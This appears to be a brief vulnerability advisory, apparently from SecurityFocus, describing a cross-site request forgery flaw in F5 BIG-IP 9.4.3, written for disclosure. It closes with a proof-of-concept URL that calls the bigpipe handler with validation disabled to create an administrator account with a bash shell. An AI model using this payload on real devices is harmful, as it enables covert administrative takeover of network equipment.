source: http://www.securityfocus.com/bid/27720/info

F5 BIG-IP is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to execute arbitrary actions on an affected device.

F5 BIG-IP 9.4.3 is vulnerable; other versions may also be affected. 

https://www.example.com/tmui/Control/form?handler=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe&handler_before=&form_page=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe.jsp%3F&form_page_before=&bigpipe_output=&bigpipe_cmd_validation=NO_VALIDATION&bigpipe_cmd_before=&bigpipe_cmd=user+testuser+password+none+testpwd+shell+%2Fbin%2Fbash+role+administrator+in+all